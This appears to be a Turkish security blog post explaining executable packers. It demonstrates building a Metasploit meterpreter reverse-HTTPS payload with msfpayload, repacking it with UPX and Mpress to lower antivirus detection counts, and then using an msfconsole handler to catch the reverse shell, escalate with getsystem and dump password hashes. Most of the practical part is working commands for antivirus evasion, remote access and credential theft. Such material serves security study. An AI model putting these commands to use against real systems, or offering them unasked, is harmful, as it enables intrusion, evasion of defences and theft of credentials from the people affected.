Dosya sıkıştırma uygulamaları, aslında çalıştırılabilir dosya üzerinde sıkıştırma işlemi gerçekleştirip dosyanın işlevini değiştirmeyen sadece görünümünü değiştiren yazılımlardır. Normal sıkıştırıcılardan (zip, winrar) farklı olarak dosyanın nasıl açılıp yorumlanacağı yeni oluşturulan paketlenmiş dosyanın içerisinde yer alır. Bu yüzden yeni oluşturulan dosyalara kendi başına açılabilir arşiv (self-extracting archive) denilmektedir. Dosya sıkıştırma uygulamalarının, sıkıştırma ve antivirüslerden gizlenme gibi kullanımlarının yanında diğer bir kullanım amacı da tersine mühendislik yapmayı zorlaştırarak yazılımların kaynak kodunun elde edilmesini zorlaştırmaktır.
Dosya sıkıştırma uygulamaları, analiz işini zorlaştırmak için aşağıdaki özellikleri kullanabilirler:
- Sıkıştırma
- Şifreleme
- Tersine mühendislik yöntemlerini zorlaştıran metotlar
Bu yazıda dosya sıkılaştırma uygulamaları ile MsfPayload ile oluşturulan zararlı bir yazılım UPX ve Mpress adlı sıkıştırma araçlarıyla yeniden paketlenecektir.
Metasploit kullanılarak oluşturulan bir payload aşağıdaki gibi gerçekleştirilebilir:
msfpayload windows/meterpreter/reverse_https LHOST=192.168.2.48 LPORT=443 > Uygulama1.exe
Bu uygulama 36 AV tarafından tespit edilmiştir.
Kali üzerindeki UPX adlı sıkılaştırma aracı ile aynı uygulamanın sıkılaştırılmış hali oluşturulabilir:
upx -9qf -oUygulama2.exe Uygulama1.exe
Sıkıştırılmış dosyanın 37 AV tarafından tespit edilmiştir.
Mpress ile sıkıştırma işlemi aşağıdaki gibidir:
mpress.exe Uygulama1.exe
Sıkıştırılmış dosyanın 30 AV tarafından tespit edilmiştir.
Mpress gibi çok fazla yaygınlaşmamış paketleyicilerin kullanılması AV’ler tarafından tespit edilme oranını azaltacaktır.
Oluşturulan uygulamanın işlevselliğinde bir değişiklik olmamaktadır. Aşağıdaki komutlar sonrasında uygulama çalıştırılınca ters HTTPS bağlantısı kurulmaktadır.
msfconsole
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
msf exploit(handler) > set ExitOnSession false
msf exploit(handler) > set LHOST 192.168.2.48
msf exploit(handler) > set LPORT 443
msf exploit(handler) > exploit -j
msf exploit(handler) > sessions -i 1
meterpreter > getsystem
meterpreter > hashdump
meterpreter > run hashdump
Kaynaklar:
http://en.wikipedia.org/wiki/Executable_compression
http://www.matcode.com/mpress.htm
https://www.bilgiguvenligi.gov.tr/zararli-yazilimlar/paketleyiciler-packers-calistirilabilir-sikistiricilar.html